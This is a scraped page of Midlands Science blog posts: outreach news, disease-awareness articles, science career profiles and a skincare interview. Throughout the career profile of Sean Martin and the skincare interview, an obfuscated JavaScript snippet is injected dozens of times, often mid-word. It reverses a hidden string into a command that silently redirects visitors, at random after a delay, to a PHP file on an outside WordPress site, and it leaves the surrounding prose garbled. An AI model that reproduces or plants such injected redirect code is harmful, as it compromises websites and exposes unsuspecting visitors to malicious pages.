Midlands Science Activities for Biodiversity Week

National Biodiversity Week takes place Friday 19th to Sunday 28th May. The focus of this week is to improve awareness of people’s national biodiversity, communicate its importance, educate, and motivate people to play their part in protection of their local environments.

Midlands Science works to improve the public’s interest in science and is running a series of guided biodiversity walks for primary schools, where participants will have the opportunity to explore and learn about the rich biodiversity that thrives within their local community.

These activities are supported by Gas Networks Ireland and Gráinne O’Reilly, Social Sustainability Manager commented “At Gas Networks Ireland, we have embraced our role in promoting the importance of biodiversity not only amongst our stakeholders, but also among our staff and the communities where we work. We are delighted to support this initiative fostering an interest in STEM and biodiversity in young people. Gas Networks Ireland are committed to the highest standards of environmental management and to proactively addressing the challenges of climate change. “
Criodán Ó Murchú, Science Outreach Executive with Midlands Science, detailed the importance of experiencing nature first-hand. “As the climate crisis continues, we need everyone within our localities to play their part in guaranteeing the future for all. We need educated and enthusiastic people of all ages to be equipped with the skills and combined with an affinity for the living world around us all.”

“We’re delighted to welcome these students from a number of schools in Co. Westmeath,” continued Ó Murchú, “including one of their Green Teams. They will gain valuable insights and practical tips on how they can contribute to conserving biodiversity, firstly in their own backyards, and then their wider environs.”

Over the past year, Midlands Science has grown its capacity and reach in science outreach events linked to biodiversity and ecology and CEO Jackie Gorman commented “we would encourage everyone to engage with biodiversity activities in their region this week and to continue that engagement throughout the year, valuing the vital role that biodiversity has in our lives. The recent Citizens Assembly on Biodiversity evidenced the strong interest people have in understanding and conserving the natural world and science has a vital role to play in this.”

More information can be found on www.biodiversityweek.ie. Contact information for Midlands Science can be found on www.midlandsscience.ie

The Science of Star Wars

Today is May 4th, a day that is beloved by Star Wars fans and pun lovers  everywhere, may the force be with you, May the 4th be with you!! There is lots of science to consider when it comes to Star Wars and here’s some for you to think about next time you are watching […]

World Immunisation Week

World Immunisation Week takes place each year during the final week of April.
The aim of this week is to encourage people to get protected from vaccine-preventable diseases and to highlight the benefits that vaccines have delivered.

This year’s theme assigned by the world Health Organisation is “The Big Catch-Up”, as some countries have fallen behind in ensuring most people are protected by vaccines, especially due to the disruption of the Covid-19 pandemic.

Vaccines have been in use for hundreds of years. Evidence from China shows that people used cowpox to inoculate themselves against smallpox, an infectious disease with a high death rate. Since 1900, over 300 million people have died from smallpox – an entire United States of people.

Edward Jenner, an English doctor, tested the theory of using cowpox to protect against smallpox in 1796. His research was compiled into a report, disseminated in six languages, and by 1801 five years later, 100,000 people in the UK had been inoculated.

Today, we have vaccines for dozens of diseases, including rubella, polio, tetanus, and many more.
Each year, a renewed flu (influenza) vaccine is rolled out in the winter months. This vaccine is specially designed to consider what flu viruses are making people sick currently, what risks are associated with those viruses, and how much they are spreading prior to the winter.
The flu vaccination process is an important step in protecting people, especially those who are elderly and/or immunocompromised.

New vaccines are currently being researched and we have seen some promising progress in vaccines which may tackle malaria and HIV, two of the top ten causes of death in low-income countries each year. These new vaccines, along with our continued improvements in healthcare research, can help us get closer to the eradication of more diseases. Smallpox was officially declared eradicated in 1980. That is a pace we must ensure to increase.

Midlands Science Shares Best Practice At Leading European Conference

Midlands Science, an organisation supported by the Medtronic Foundation is presenting a Horizon Talk at this year’s European Science Engagement Association Conference [EUSEA] which takes place in Italy next week on May 2nd. The conference is the leading European conference on science outreach and public engagement in science.

The Medtronic Foundation supports Midlands Science for a range of outreach activities and also for a new project which they have developed based on research to date, which identified some key issues that made engaging with science more challenging for some people. This work is focussed on making science outreach and communications more accessible and this means making the communications as usable and as meaningful as possible for as many people as possible. “We’re proud to partner with Midlands Science to expand access for STEM scholars,” said Heidi Jedlicka Halvarson, program manager, Medtronic Foundation.  “Together, we can remove barriers to STEM education, grow representation across the field, and help create opportunities for scholars to have a successful future in STEM.”

Over the coming year with a number of experts, Midlands Science will develop and deliver a best practice guide and CPD accredited training in a number of areas which will help make science communications more accessible. These include the use of universal design for learning in science outreach, use of plain English, designing for accessibility, storytelling in science and use of the equity compass, a tool which is particularly helpful for engaging more disadvantaged communities with science.

The opportunity to present the project’s rationale, development and plans to this leading European conference is welcomed by Midlands Science as it’s an opportunity to share practice with others and also to add to the work of campaigns such as Unlock Science and Science is for Everyone. Commenting Jackie Gorman, CEO of Midlands Science said “I am delighted to have the chance to speak at EUSEA 2023 on this exciting project which is going to allow us to embed accessibility and inclusion into science outreach practice and to share this practice with others. The support of the Medtronic Foundation allows us to do this important capacity building work, which we will believe will contribute in a vital way to outreach becoming more and more accessible and inclusive over time, building real cumulative systems change in how everyone engages with science.”

More information about the work of Midlands Science can be found on www.midlandsscience.ie

ENDS *****************************************************************************

PHOTO CAPTION – Jackie Gorman, CEO of Midlands Science who will be speaking at EUSEA 2023, pictured late last year when she received the Science Foundation Ireland Award for Outstanding Contribution to Science Communications in Ireland.

World Malaria Day

Today is World Malaria Day.  Every year hundreds of millions of people are infected with Malaria and approximately 430,000 people die from this disease.  Over  90% of these deaths occur in sub-Saharan Africa and despite malaria mortality rates falling, a child in Africa still dies every minute from malaria.

Malaria is a parasitic infection transmitted from person to person by the bite of infected female Anopheles mosquitoes. The term malaria originates from Mediaeval Italian: mala aria meaning bad air as people didn’t know the origin of the disease and there was a common belief that many diseases were caused by bad air in earlier times. Scientific studies on malaria made their first significant advance in 1880, when Charles Louis Alphonse Laveran, a French army doctor in Algeria observed parasites inside the red blood cells of infected people for the first time. The first effective treatment for malaria came from the bark of cinchona tree, which contains quinine and the Jesuits introduced the treatment to Europe around 1640. It was not until 1820 that the active ingredient, quinine, was extracted from the bark, isolated and named by the French chemists Pierre Joseph Pelletier and Joseph Bienaimé Caventou.

Quinine was the predominant malarial medication until the 1920s when other medications began to appear. In the 1940s, chloroquine replaced quinine as the treatment of both uncomplicated and severe malaria until resistance emerged, first in Southeast Asia and South America in the 1950s and then globally in the 1980s.

The most effective treatment for malaria is artemisinin-based combination therapy (ACTs). ACTs have low toxicity, few side effects and act rapidly against the parasite. Today, the majority of African countries have officially changed their protocol to treat first-line malaria with ACTs. But in many places, ACTs are scarcely available and there is growing evidence of emerging parasite resistance to artemisinin – the core compound of ACTs.

There is progress though and we can see that the malaria map is rapidly shrinking. In 1900, endemic malaria was present in almost every country. Nowadays, the disease has been eliminated in 111 countries and 34 countries are advancing towards elimination. No-one can know when malaria will be eradicated but many scientists estimate 2050 or 2060 and that the last battles against this awful disease will likely be waged in wet, tropical, and poor areas.

An important driver of the eradication scenario is scientific research. Thanks to the Bill & Melinda Gates Foundation, the Wellcome Trust and others, research in malaria is stronger than it has been at any point in the past 50 years. New drugs are in development and vaccines. Currently, the most effective malaria vaccine is R21/Matrix-M, with a 77% efficacy rate shown in initial trials and it is the first vaccine that meets the World Health Organisation’s (WHO) goal of a malaria vaccine with at least 75% efficacy.

Until relatively recently, speaking of elimination and eradication in connection with malaria was regarded as overambitious. However, speeches by Bill and Melinda Gates in 2007, calling for nothing less than global malaria eradication, radically changed discussions and research. Since then, there has been a huge upsurge of commitment to elimination and eventual eradication. Progress is really encouraging now and the responses produced by science are effective and continually improving. With adequate and sustained commitment, the task can be achieved and you can support research that will lead to eradication at https://www.malariaconsortium.org/support-us/donate-europe.htm

Exploring Engineering in the Midlands

Engineers Week took place all over Ireland last week and it included a number of activities with Midlands Science. One of the week’s highlights was an Exploring Engineering Day which took place  in the Athlone Education Centre in partnership with the Medtronic Foundation. This day brought together a number of students from secondary schools, where […]

Science Week Science Profiles – Shauna Donoghue, Zoetis

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Shauna Donoghue, a Quality Control Microbiology Analyst in Zoetis. We caught up with Shauna and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science?

My earliest experience of science was when I got a Microscope set for my birthday. It was really exciting to look at different things around my house under the microscope.

What did you study at college and can you tell us a little about it?

I studied General Science in Maynooth University where I studied Maths, Biology, Chemistry and Computer Science. In my final year, I specialised in Biology. It was an interesting course that allowed me to try different subjects to determine what I liked and didn’t like. I studied my Masters in Bioprocess Engineering in DCU, which covered all aspects of manufacturing pharmaceutical products. This was relevant when I started working for Zoetis as I have an understanding of how the product is made.

What is your current role and what do you enjoy most about it?

I am a Quality Control Microbiology Analyst in Zoetis. Our site makes an injection for cats that helps with Arthritis. My job involves contamination control for the product we make so it’s safe for the cats. The thing I enjoy most about my job is seeing what bacteria can grow, and the different types of bacteria that there is.

What is your favourite science fact?

There is a frog in Central America known as Glass frog because it is translucent/clear. It makes it difficult for predators to identify it when it sits on leaves, so it is kind of a form of hiding for the frog.

What advice would you give to a young person considering a career in science?

There is a broad range of careers in science. Do some research into what you might like, internships/ work placements are great for gaining experience and reach out to people in the science industry who can answer questions you might have about a career in science.

Science Week Science Profiles – Sean Martin, Zoetis

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Sean Martin from Zoetis, we caught up with Sean and asked him some questions about his ncareer in science:


Tell us a little about your earliest experiences of science?

My earliest experience with science that I found interesting was in first year science class in secondary school where we were learning about $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominant and recessive genes, and possible genotypes of offspring using punnet squares.

What did you study at college, and can you tell us a little about it?

I studied Biotechnology in Maynooth University, it allowed me to become familiar with all aspects of modern molecular biology such as antibody purification and recombinant DNA technology.

What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

My current role is working as a process scientist in the $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}downstream processing sector for Zoetis Tullamore. The main basis of my work is carrying out the formation of buffers that are used throughout several steps of the production procedure.

What is your favourite science fact?

You’d need to eat ten million bananas in one sitting to die of banana-induced radiation poisoning.

What advice would you give to a young person considering a career in science?

It’s a fascinating area of work that has many different options and opportunities depending on what area of science your interests lie.


Science Knitting Patterns for Science Week!


The Midlands Science Festival is a free, family-friendly, programme of events which allows people of all ages to discover something new, participate in a number of hands-on science and technology activities and see a whole host of live performances by science enthusiasts and communica tors.

We even have some science knitting patterns for those with a talent for crafting! Why not create a common virus or some body parts from wool in a fun (and non-contagious!) way.

We have plenty exciting science experiments on the way in just a few days time. We will bringing a whole range of workshops activities to Midlands schools from marine exploration and reptiles to superhero science and sustainability and also to people at home with our digital Discovery day taking place on November 7th to kick things off and our informative talks on issues such as resilience and the science of skin!

If it sounds too good to be true, it probably is!

We are delighted that this year for Science Week we will be introducing specialist Derma tology nurse, Fidelma O’ Dowd who is a co-founder of The Healthy Skin Clinic based in Dublin and also the Midlands. When it comes to our skincare products, it can often be difficult to understand what is actually in them and whether the more expensive products are really better for our skin or not. We will be talking to Fidelma all around the topic of the science of skin and some of the most common issues that she encounters in her day to day work. Meanwhile, we caught up with Fidelma to find out more about what she $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does..

What inspired you to choose a career in the skincare industry?

It was an easy progression for me as I work as a Derma tology Advance Nurse Practitioner in large teaching hospital in Dublin, which I manage a caseload of skin conditions: chronic skin disease clinics (psoriasis, acne, eczema, rosacea), skin cancer diagnostic procedure (minor skin surgery).

Three years ago I expanded my skill set in to the field of aesthetic and opened The Healthy Skin Clinic with clinics in Blanchards town, Dublin and Ballymahon, Longford. Providing treatments for hyperpigmentation/ melasma, pho to aging, anti-aging, acne, rosacea. The Healthy Skin clinic also provides a full range of medical aesthetic treatments such as mesotherapy, profhilio, micro needling, multideminsional de-pigmentation solutions, acne treatments, removal of benign skin lesions (skin tags)

At ‘The Healthy Skin Clinic’, all patients undertake a full skin/medical consultation prior to any treatment, to ensure all skincare treatment programmes are tailored and personalised to the client’s specific needs.

The Healthy Skin Clinic are s tockists to some of the world’s leading medical skin care brands some are Obagi, Mesoestetic, Mc Cosmetics, so patients can enhance their skin treatments with the most suitable home care products under expert advice and consultation.

Our Skin Team

Lead Clinician Fidelma ODowd, our team of healthcare professionals consists solely of Registered nurses and Medical Doc tors, providing medical skin treatment expertise.

Blanchards town Team

  • Fidelma ODowd: Derma tology Advance Nurse Practitioner/Lead Clinician.
  • Meave OSullivan: Registered Nurse/Clinician
  • Dr Lylas Aljohmani (B.A;M.B;B.Ch;B.A.O;MCh)Medical Practitioner/ Bo tox clinics

Ballymahon Team

  • Fidelma ODowd: Derma tology Advanced Nurse Practitioner/Lead clinician
  • Joan Naugh ton: Registered Nurse/ Clinician
  • Dr Lylas Aljohmani (B.A;M.B;B.Ch;B.A.O;MCh): Medical Practitioner/Bo tox Clinics

Mr Stephen Kelly: Emergency Department Advance Nurse Practitioner/ Operational Manager

What are the most common issues that patients present with in your clinic?

Dark Spots/age spots/premature aging: you $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t get to choose where it appears. Somehow it just finds a home for itself, right there on the tip of your nose, your cheek, or somewhere else on your face. It’s a dark spot or age spot. Unfortunately, these unwanted spots aren’t likely to go away on their own.

So how $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does it happen?

Melanin is what gives colour to your skin. Light from the sun actually speeds up the production of melanin. Being exposed to the sun over long periods of time can cause a cluster of melanin to appear-this is how a dark spot occurs

Tanning is also caused by reaction to sun’s rays. That golden skin tone may look desirable, but is actually a sign of skin damage. Over the long term, this damage can lead to premature aging or even cancer

But sun exposure isn’t the only reason dark spots pop up. Sometimes its just part of aging. Genetics also plays a role. If you have light-coloured or fair skin, you are more likely to develop dark spots.


How can we prevent them?

The best way to help keep those pesky spots from appearing is to limit sun exposure.

We’re not saying you shouldn’t enjoy out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors, but be aware of when the sun’s rays can cause the most damage. Between 10.00am and 2pm is when the sun is at its greatest strength. Limit your sun exposure during these hours if you can.

Also, as much as possible, wear long sleeve shirts, pants, and put on a hat to provide shade for your face. This applies for those times when you’re behind the wheel as well. Harmful rays can even penetrate through car win $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dows(tinted win $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dows offer some additional protection). As a general rule, if your going to be exposed to sunlight, wear a high-quality broad spectrum sunscreen with a UVA star rating 4-5, or

Logo on SPF, UVB 30-50.

What can I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to treat them?

If you want to help reduce the appearance of dark spots, practitioners frequently recommend products like Obagi Nu-Derm system. Obagi Nu-Derm includes  Prescription 4% hydroquinone, which is considered by many to be the gold standard in the treatment of dark spots. Ask your skin Practitioner  if Obagi Nu-Derm may be right for you.


Did You Know…….

  • A degree of acne affects nearly everyone between ages of 15-17
  • 15-20% of young people will experience moderate-severe acne
  • 85% prevalence rate in 12-24 year age group
  • 78% of girls between 8-12 have acne
  • 64% of 20-29 and 43% of 30-39 have visible acne
  • 3% of men and 5% of women with still had a degree of acne aged 40-49


Psychological Fac tors & Acne

Appearance has huge role in social communication and functioning. This effect is reinforced by media, industry and celebrity culture

Acne suffers experience:

  • Shame-70%
  • Embarrassment-63%
  • Anxiety-63%
  • Loss of confidence-67%
  • Impaired social contact-57%


  • Hormones:

Puberty, premenstrual flare, disorders with high tes tosterone levels, Polycystic Ovary Syndrome, anabolic steroids and oral steroids

  • Oils:

Contact with the skin through occupation or cosmetics

  • Stress:

Increase in sebum glands activity during period of stress

NICE Guidelines

What $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do they say?


         A topical retinoid alone or in combination with Benzoyly Peroxide (BPO)

         A topical Antibiotic (1% Clindamycin) – oral antibiotics should always be prescribed alongside a BPO to prevent development of antibiotic resistance

         Azelaic Acid 20%

         Creams or gels

         If irritation occurs lower frequency or concentration

         Frequency of application can be gradually increased to daily if tolerated


Obagi CLENZIderm M.D system

Obagi Nu-Derm System

What is a good routine for someone who really, just wants to start taking better care of their skin perhaps after years of not $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing so?

At what age did you first start to think about taking care of your skin more seriously? For most, it was sparked by a specific skin condition or concern like the first time you noticed fine lines around your eyes or maybe you experienced acne for the first time as an adult.

While there are two products I strongly recommend using every single day- a cleanser and a sunscreen with SPF 30-50 will help the overall health of your skin.

As always, the best thing you can $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to achieve healthy skin is to meet with your skin care practitioner to determine which products are best for specific individual skin care needs

Do products used on your skin have to be very expensive to work well?

Anyone who has visited a professional skincare clinic seeking to improve the appearance of his or her skin has likely heard of or received a recommendation to use professional skin care products the price of the products may be surprising.

Why purchase skin care products from a skincare clinic than a drug s tore?

It’s a good question to ask, and the reason are worth understanding if you are serious about tackling issues such as melasma/dark spots or acne, as well as the appearance of fine lines, wrinkles, and the host of problems caused by pho toaging.


Consider value in the decision to purchase topical skin care. Products containing greater than 2% Hydroquinone that are indicated to treat hyperpigmentation and melasma, for example, are available only with a prescription. Non-hydroquinone cosmetic alternatives may not work as well, and therefore, repeated purchases may end up costing more than a well-formulated product. Similary, this added value applies to clinically-tested practitioner-dispensed acne products and certain cosmetics.

Clinical Results

The best practitioner-dispensed skin care is clinically tested for positive results, so you can be confident that such products are backed by real results. Before and after pho tos should give you an idea of typical results. Clinical study engagement is one cost in the development of good skin care products.

In-Depth Product Training/Education

Because the products are part of a skin care professional’s recommended regimen, practitioner training and instructional materials are provided by the manufacturer. Some professional skin care products may cause side effects in some patients; proper and continued education by the practitioner is critical for patients’ proper use and success. Skin care practitioners who recommend specific products will guide patients during their continued use to address any questions or concerns that may arise during the treatment course.

Consumers Be Cautious

Some may still wonder why purchase Practitioner-dispensed skin care products instead of those available through mass retail, which often advertise big promises. Products sold through mass retail skin care often make claims that haven’t been scientifically supported, so it’s often up to consumers to educate and protect themselves. Consider a quote from the FDA “if a product seems too good to be true, it probably is”

Some experts advise to drink three litres of water a day and others say it is more important to ‘eat our water’ through fruit and veg for better skin. It can be confusing. What is one of the biggest myths you have come across about how to look after your skin properly?

When it comes to taking care of your skin, it may be hard to separate fact from fiction, especially with so many skin care articles floating around.

Fortunately, we have put together five of the biggest myths that will help to make your skin care routine a little easier – and your skin a lot happier!

 You $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t need sunscreen in winter

 Whoever told you that sunscreen is only needed on sunny, summer days is either playing a prank on you or needs a lesson in skin care ASAP!

One of the main causes of premature skin aging is the UV rays of the sun, so your best defence is to slather on the SPF all year long. Just because it’s chilly or cloudy outside, that $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doesn’t mean the sun isn’t damaging to your skin, because UV rays can still pass through clouds. The biggest surprise of all though, is that you can still get sunburn when there’s snow on the ground! The reason for this is because the snow reflects light from the sun, meaning that your skin is getting $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}double the exposure – from the sun and the snow. If you $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t believe us, then just go look at the incredible tans (and sunburns!) skiers and snowboarders get while out on the slopes

If your skin is oily, you should skip the moisturizer

 We’ve heard this one often, but if you’re struggling with oily skin, then your skin may still be in need of a moisturizer.

By skipping the moisturizer, your skin may try to make up for the lack of moisture in the skin by creating its own, in the form of sebum, but unfortunately, the skin can over-compensate by producing too much. The end result is even oilier skin with an increased risk of breakouts.

If you’re using the right products for your skin, then you can’t go wrong. One of our favourite moisturizers for all skin types (dry or oily) is Obagi Hydrate®, which is non-come $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dogenic and provides 8-hour moisturization with innovative technology and naturally derived ingredients, including shea butter, mango butter, and avoca $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do.

Diet $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doesn’t affect your skin

You certainly are what you eat – everything you put in to your body will have an effect on your skin. A poor diet can not only affect your waistline and decrease your energy levels, but it can also show up on your face as a dull complexion. For example, sugar is known to change the collagen and elastin fibers in the skin, leaving you prone to skin that ages faster. And there’s no argument that alcohol and caffeine can dehydrate your body and skin.

The best diet is well-balanced with antioxidant-rich foods to help defend against free radicals, and foods rich in omega-3 to help maintain healthy and youthful-looking skin

You should start using skin care products when wrinkles appear

If you’re waiting for the signs of skin aging to appear before you invest in skin care products, please keep reading.

You may have heard that prevention is better than cure and this couldn’t be more accurate when it comes to your skin. By starting to use products targeted towards the appearance of lines and wrinkles in your twenties or even sooner, before the signs of skin aging have manifested, you set a great foundation to ensure your skin ages beautifully and gracefully with minimal lines and wrinkles.

Of course, harsher products are generally reserved for more mature skin, but it wouldn’t hurt to start using a good retinol cream and eye cream in your twenties or sooner. Also, be mindful that there are many fac tors that contribute to aging skin, and lifestyle fac tors along with healthy skin care rituals are your best defense in the fight against the signs of skin aging

Hot water is best for opening up the pores

Hot water may feel great in the shower, but unfortunately, it’s not so great for your skin. While hot water $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does open the pores, it’s recommended through steaming the skin, not putting hot water directly on your skin!

Hot water on the skin will dry the skin out by stripping it of beneficial oils, and no amount of product will make up for this lack of moisture. Always rinse your face with lukewarm water and pat dry before applying your products. Leave the steaming to the professionals at your next facial!